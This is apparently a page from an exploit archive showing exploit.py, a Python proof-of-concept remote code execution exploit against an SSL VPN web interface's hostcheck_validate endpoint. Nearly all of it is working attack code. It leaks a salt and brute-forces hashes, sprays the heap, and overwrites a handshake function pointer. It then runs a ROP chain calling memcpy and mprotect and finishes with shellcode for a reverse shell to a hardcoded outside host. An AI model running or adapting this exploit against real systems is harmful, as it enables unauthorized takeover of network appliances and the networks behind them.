4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.py PY
from binascii import hexlify, unhexlify
import requests
import hashlib
import socket
import ssl
import time
import os, sys
import pickle
import glob
import subprocess 
import struct

import shellcode

import urllib3
from urllib3.exceptions import InsecureRequestWarning
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


p64 = lambda x: struct.pack('<Q', x)

nProcess = 16

#host = '192.168.106.142'
#port = 10443

salt = b''
payload0 = b'00112233'
hash_buffer = b''

#sc = shellcode.reverseshell(host='192.168.106.143', port=9999)

def alloc_ssl():
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((host, port))
  #s = ssl.wrap_socket(s, keyfile=None, certfile=None, server_side=False, cert_reqs=ssl.CERT_NONE)
  return s

def free_ssl(s):
  s.close()

def heap_spray():
  sList = []

  for i in range(16):
    s = alloc_ssl()
    sList.append(s)

  for i in range(4):
    time.sleep(0.1)
    s = alloc_ssl()
    sList.append(s)

  return sList

def compute_hash(salt, inp):
  m = hashlib.md5()
  m.update(salt)
  m.update(inp[:8])
  m.update(b"GCC is the GNU Compiler Collection.")
  result = m.digest()
  return result

def gen_hash_buffer(data, bufferSize=0x2000):
  m = hashlib.md5()
  m.update(salt)
  m.update(data[:8])
  m.update(b"GCC is the GNU Compiler Collection.")
  result = m.digest()

  buffer = result
  while bufferSize >= len(buffer):
    m = hashlib.md5()
    m.update(buffer[-16:])
    result = m.digest()
    buffer += result
  return buffer
  
def calc_enc_data_length(data, md5_hash):
  length_l = (data[4]) ^ md5_hash[0]
  length_h = (data[5]) ^ md5_hash[1]
  print(hex(length_l))
  print(hex(length_h))

  length = (length_h<<8)+length_l
  return length

def stupid_calc_size(matched, md5_hash):
  for i in range(0x100):
    for j in range(0x100):
      length_l = (i) ^ md5_hash[0]
      length_h = (j) ^ md5_hash[1]
      length = (length_h<<8)+length_l
      if length == matched:
        return [i,j]
  return None

def gen_payload(hash_buffer,payload0,offset,target_size=None,custom_payload=None):
  hash0 = hash_buffer[:16]

  if target_size == None:
    target_size= 0x1c00-24-6 + offset+1
  encrypted_size = stupid_calc_size(target_size, hash0)
  encrypted_size = hexlify(bytes(encrypted_size))

  datasize = ((((0x1c00-8-24) // 8 + 1 ) * 8) - 1) * 2
  payload  = payload0
  payload += encrypted_size
  #payload += hexlify(hash_buffer)
  #payload  = payload[:datasize]
  #payload  = payload.ljust(((((0x1c00-8-24) // 8 + 1 ) * 8) - 1) * 2,b'0')
  if custom_payload != None:
    payload += custom_payload
  payload  = payload.ljust(datasize,b'0')
  return payload

def payload_poison_null(offset):
  payload = gen_payload(hash_buffer, payload0, offset)
  return payload

  hash0 = hash_buffer[:16]
  encrypted_size = stupid_calc_size(0x1c00-24-6 + offset, hash0)
  encrypted_size = hexlify(bytes(encrypted_size))

  payload  = payload0
  payload += encrypted_size
  payload  = payload.ljust(((((0x1c00-8-24) // 8 + 1 ) * 8) - 1) * 2,b'0')
  return payload

def trigger(payload):
  url  = 'https://%s:%d/remote/hostcheck_validate' % (host,port)
  data = {b'redir':b'a', b'enc':payload}
  out  =  s.post(url,data=data)
  return out

def poison_null(offset):
  offset = offset-1
  payload = payload_poison_null(offset)
  trigger(payload)
  trigger(payload)

def main():
  global s
  s = requests.Session()
  s.verify = False
  '''
  ##################
  # make a hole
  ##################
  print('[+] heap spray')
  sslList = heap_spray()
  free_ssl(sslList[-4])   # for vulnerable chunk
  free_ssl(sslList[0]) 	  # for exploit chunk
  '''
  ##################
  # salt
  ##################
  global salt
  url = 'https://%s:%d/remote/info' % (host,port)
  out =  s.get(url)
  salt = out.content.split(b"salt='")[1].split(b"'")[0]
  print('[+] salt=%s' % salt)

  ##################
  # calculate hash
  ##################
  # md5_hash = compute_hash(salt, payload0)
  global hash_buffer
  hash_buffer = gen_hash_buffer(payload0)
  #print(hash_buffer[30:])

  print('[+] processing hash')

  # 0x00f13ad2: push rdi; pop rsp; ret;
  # 0x00824bdd: jmp qword ptr [rdi-0x3f];
  # requiredValues  = [0x00824bdd, 0x00f13ad2]
  requiredValues  = ['d23af1', 'dd4b82']
  requiredOffsets = [0x30, 0x0]

  #requiredValues  = ['42', '41']
  #requiredOffsets = [0x30, 0x0]

  print("    [+] finding hash in cache")
  # check existing values
  allFound = True
  for i in range(len(requiredValues)):
    value  = requiredValues[i]
    offset = requiredOffsets[i]
    path = '%s/%x_%s*.pickle'%(salt.decode(),offset,value)
    fileList = glob.glob(path)
    if len(fileList) == 0:
      allFound = False
      break

  if not allFound:
    print('    [-] not in cache')
    print('    [+] computing')
    startBlock = 0x0
    blockSize = 0x10000
    bufferSize = 0x1d00
    valuesString  = ','.join(requiredValues)
    offsetsString = ','.join(list(map(lambda x: '0x%x' % x, requiredOffsets)))
    #cmd = 'python3 run-calc-hashes.py 4 01f7c0d6 0x500000 0x1000 0x1d00 41 0'
    cmd = 'python3 run-calc-hashes.py %x %s 0x%x 0x%x 0x%x %s %s' % (nProcess, salt.decode(), startBlock,blockSize, bufferSize, valuesString, offsetsString)

    p = subprocess.Popen(cmd.split(' '), stdout=subprocess.PIPE, stderr=subprocess.PIPE)

    output = b''
    errout = b''
    while True:
      output += p.stdout.read()
      errout += p.stderr.read()
      if b"resultList: " in output:
        break
      if errout != b'':
        print("        [-] ERROR OCCURED")
        print(errout.decode())
        exit()
  else:
    print('    [+] found in cache')

  print('    [+] loading')
  seedHashbufferMap = {}
  # find and load values
  allFound = True
  for i in range(len(requiredValues)):
    value  = requiredValues[i]
    offset = requiredOffsets[i]
    path = '%s/%x_%s*.pickle'%(salt.decode(),offset,value)
    fileList = glob.glob(path)
    for filepath in fileList:
      #print(filepath)
      try:
        with open(filepath,"rb") as f:
          hash_buffer_map = pickle.load(f)
      except:
        print('    [-] failed')
        continue

      matchedSeed = None
      for seed in hash_buffer_map:
        if hash_buffer_map[seed][0x1c00-28+offset:].startswith(unhexlify(value.encode())):
          matchedSeed = seed
          seedHashbufferMap[value] = [matchedSeed,hash_buffer_map[matchedSeed]]
          break
      if matchedSeed != None:
        break
  #print(seedHashbufferMap)

  ############################
  # Heap spray & make a hole
  ############################
  print('[+] heap spray')
  sslList = heap_spray()
  free_ssl(sslList[-4])   # for vulnerable chunk
  free_ssl(sslList[0]) 	  # for exploit chunk

  #################################################################################
  # 2nd ROP gadget
  # 0x00824bdd: jmp qword ptr [rdi-0x3f];
  #################################################################################

  # overwrite ssl version
  poison_null(0x1)
  poison_null(0x0)

  targetOffset = requiredOffsets[1]
  size = 2 # realsize-1

  seed = seedHashbufferMap[requiredValues[1]][0]
  hash = seedHashbufferMap[requiredValues[1]][1]
  # overwrite
  payload = gen_payload(hash, seed, targetOffset+size)
  trigger(payload)
  # restore existing buffer
  payload = gen_payload(hash, seed, targetOffset-2)
  trigger(payload)

  #######################################################
  # Overwrite do_handshake_func ptr
  # 0x00f13ad2: push rdi; pop rsp; ret;
  #######################################################
  targetOffset = 0x30  # handshake_func
  size = 2 # real size-1

  seed = seedHashbufferMap[requiredValues[0]][0]
  hash = seedHashbufferMap[requiredValues[0]][1]
  # overwrite
  payload = gen_payload(hash, seed, targetOffset+size)
  trigger(payload)
  # restore existing buffer
  payload = gen_payload(hash, seed, targetOffset-2)
  trigger(payload)

  ##############################
  # Final ROP payload
  ##############################
  bss = 0x00000000040D0000

  pop_rdi_ret = 0x02b67018 # pop rdi; ret;
  pop_rsi_ret = 0x02b68191 # pop rsi; ret;
  pop_rax_ret = 0x02b0374e # pop rax; ret;
  pop_rcx_ret = 0x0290f6a3 # pop rcx; ret;
  pop_rdx_ret = 0x029bb282 # pop rdx; ret;
  pop_r8_ret  = 0x026a63a5 # pop r8; ret;
  pop_r12_ret = 0x02b67eda # pop r12; ret;
  ret = 0x02b68e48	   # ret;


  mprotect_plt = 0x000000000043F170
  memcpy_plt   = 0x000000000043F0A0

  rop_payload  = b'\x00'*2
  rop_payload  = rop_payload.ljust(2+0xb0, b'\x40')
  # [1] memcpy(bss, rdi,0x2000)
  rop_payload += p64(pop_rax_ret)	# (0) pop rax; ret;
  rop_payload += p64(ret)
  rop_payload += p64(0x00465126) 	# (1) mov rsi, rdi; mov rdi, r9; jmp rax;
  rop_payload += p64(pop_rdx_ret)	# (2) pop rdx; ret;
  rop_payload += p64(0x2000)
  rop_payload += p64(pop_rdi_ret)	# (3) pop rdi; ret;
  rop_payload += p64(bss)
  rop_payload += p64(memcpy_plt)
 
  # [2] mprotect(bss, 0x2000, 7)
  rop_payload += p64(pop_rdx_ret)	# (0) pop rdx; ret;
  rop_payload += p64(7)
  rop_payload += p64(pop_rsi_ret)	# (1) pop rsi; ret;
  rop_payload += p64(0x2000)
  rop_payload += p64(pop_rdi_ret)	# (2) pop rdi; ret;
  rop_payload += p64(bss)
  rop_payload += p64(mprotect_plt)

  # [3] jump to shellcode
  rop_payload += p64(bss+0x80)
  rop_payload += sc

  adjust_offset_size = (0x1c00-24-6-1-0x30-14)
  assert(len(rop_payload) <= adjust_offset_size)
  rop_payload  = rop_payload.ljust(adjust_offset_size, b'\xcc') # offset = $rdi-0x3f

  ###################
  # [0] Stack Pivot
  ###################
  # rax = 0x00f13ad2: push rdi; pop rsp; ret; 
  rop_payload += p64(0x01c98dcd)	# (0) sub rdi, 0x18; jmp rax;
  rop_payload += b'\x00'*(7)

  rop_payload += p64(0x02186970) 	# (3) sub rdi, rsi; nop [rax+rax]; nop [rax]; ret;
  rop_payload += p64(0x00f13ad2)	# (4) push rdi; pop rsp; ret;
  rop_payload += p64(0xdeadbeef)

  rop_payload += p64(pop_rsi_ret)	# (2) pop rsi; ret;
  rop_payload += p64(0x1b00)
  rop_payload += p64(0x01c98dcd)[:-4] 	# (1) sub rdi, 0x18; jmp rax;

  targetOffset = -1  # handshake_func
  size = 0
  seed = b'00000000'
  hash = compute_hash(salt, seed)
  payload = gen_payload(hash, seed, targetOffset, target_size=0xffff,custom_payload=hexlify(rop_payload))
  trigger(payload)

  print('[+] execute')
  #temp = ssl.wrap_socket(sslList[-3], keyfile=None, certfile=None, server_side=False, cert_reqs=ssl.CERT_NONE)
  sslList[-3].send(b"\x00"*4)

  return

if __name__ == '__main__':
  assert(len(sys.argv) == 5)

  global host, port, rhost, rport
  host = sys.argv[1]
  port = int(sys.argv[2])
  rhost = sys.argv[3]
  rport = int(sys.argv[4])

  print('[+] generating shellcode')
  global sc
  sc = shellcode.reverseshell(host='192.168.106.143', port=9999)

  main()